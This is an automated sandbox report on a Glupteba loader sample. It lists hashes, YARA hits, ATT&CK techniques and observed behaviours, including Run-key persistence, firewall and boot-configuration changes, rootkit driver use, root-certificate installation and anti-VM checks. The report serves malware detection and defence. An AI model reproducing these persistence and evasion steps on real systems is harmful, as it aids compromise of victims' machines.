glupteba | 3272bda1657dbe7f9891a0585572d576128d6cb4252203025ae5854a63410cf8

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
20/08/2026, 16:01

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General

Target
2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
Size 4.6MB
Sample260820-tghpsaed42
SHA256 3272bda1657dbe7f9891a0585572d576128d6cb4252203025ae5854a63410cf8
MD5 0cd5dafc6af27bf71e9c48194a824c96
SHA1 b70cee2c98cae22f5906445bc141232b0b614648
SHA512 541360cb2fa253c7cf37c751e81f0cbd00463ce0261e4b0bfe76d5482aa32662c85f81878bc63470a60e745832e5e3d0e6cadc8b80a51ba479913671130bf055
SSDEEP 98304:J3vwUxRsr08h3a+onzpgFc/RS2C0+WMgpN5:UrLozKq/RY0dNpN5
TLSH
T190263320768DD035C3876872CDE0CB990F98B5C779B2A88F3E86859A1FFB590A315F45
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery dropper execution glupteba loader persistence privilege_escalation rootkit spyware trojan

Malware Config

Signatures

Family: Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba payload 21 IoCs

resource	yara_rule
behavioral1/memory/2904-3-0x00000000051B0000-0x00000000058A6000-memory.dmp	family_glupteba
behavioral1/memory/2904-7-0x00000000051B0000-0x00000000058A6000-memory.dmp	family_glupteba
behavioral1/memory/2904-6-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/4396-14-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/3496-21-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2544-22-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/1156-31-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/1124-32-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-33-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-34-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-35-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-36-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-37-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-38-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-39-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-40-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-41-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-42-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-43-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-44-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba
behavioral1/memory/2976-45-0x0000000000400000-0x0000000004982000-memory.dmp	family_glupteba

Detects Windows executables referencing non-Windows User-Agents 19 IoCs

resource	yara_rule
behavioral1/memory/2904-6-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/4396-14-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/3496-21-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2544-22-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/1156-31-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/1124-32-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-33-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-34-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-35-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-36-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-37-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-38-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-39-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-40-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-41-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-42-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-43-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-44-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA
behavioral1/memory/2976-45-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_NoneWindowsUA

Detects executables containing URLs to raw contents of a Github gist 19 IoCs

resource	yara_rule
behavioral1/memory/2904-6-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/4396-14-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/3496-21-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2544-22-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/1156-31-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/1124-32-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-33-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-34-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-35-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-36-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-37-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-38-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-39-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-40-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-41-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-42-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-43-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-44-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL
behavioral1/memory/2976-45-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL

Detects executables referencing many varying, potentially fake Windows User-Agents 19 IoCs

resource	yara_rule
behavioral1/memory/2904-6-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/4396-14-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/3496-21-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2544-22-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/1156-31-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/1124-32-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-33-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-34-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-35-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-36-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-37-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-38-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-39-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-40-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-41-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-42-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-43-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-44-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA
behavioral1/memory/2976-45-0x0000000000400000-0x0000000004982000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_TooManyWindowsUA

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3272	netsh.exe

Executes dropped EXE 6 IoCs

pid	Process
2976	csrss.exe
3496	csrss.exe
2544	csrss.exe
3768	patch.exe
1156	csrss.exe
1124	csrss.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SummerSound = "\"C:\\Windows\\rss\\csrss.exe\""	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Manipulates WinMonFS driver. 1 IoCs

Roottkits write to WinMonFS to hide directories/files from being detected.

rootkit defense_evasion

description	ioc	Process
File opened for modification	\??\WinMonFS	csrss.exe

Modifies boot configuration data using bcdedit 1 IoCs

pid	Process
1752	bcdedit.exe

Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\VBoxMiniRdrDN	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\rss	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
File created	C:\Windows\rss\csrss.exe	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2124	cmd.exe

Modifies trusted root certificate store through registry 1 TTPs 2 IoCs

A root certificate was added, modified, or removed in the trusted certificate store registry paths.

defense_evasion

Install Root Certificate

T1553.004

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	csrss.exe

Program crash 6 IoCs

pid	pid_target	Process	procid_target
4860	2904	WerFault.exe	84
548	4396	WerFault.exe	88
1088	3496	WerFault.exe	99
2496	2544	WerFault.exe	100
2420	1156	WerFault.exe	115
752	1124	WerFault.exe	117

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csrss.exe

Modifies data under HKEY_USERS 40 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	csrss.exe

Modifies system certificate store 2 TTPs 1 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	csrss.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4760	schtasks.exe
2524	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2904	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
2904	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
4396	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
4396	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
3496	csrss.exe
3496	csrss.exe
1156	csrss.exe
1156	csrss.exe
2976	csrss.exe
2976	csrss.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	2904	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
Token: SeImpersonatePrivilege	2904	2026-08-20_0cd5dafc6af27bf71e9c48194a824c96_amadey_elex_rhadamanthys_sakula_smoke-loader.exe
Token: SeDebugPrivilege	3496	csrss.exe
Token: SeImpersonatePrivilege	3496	csrss.exe
Token: SeSystemEnvironmentPrivilege	2976	csrss.exe
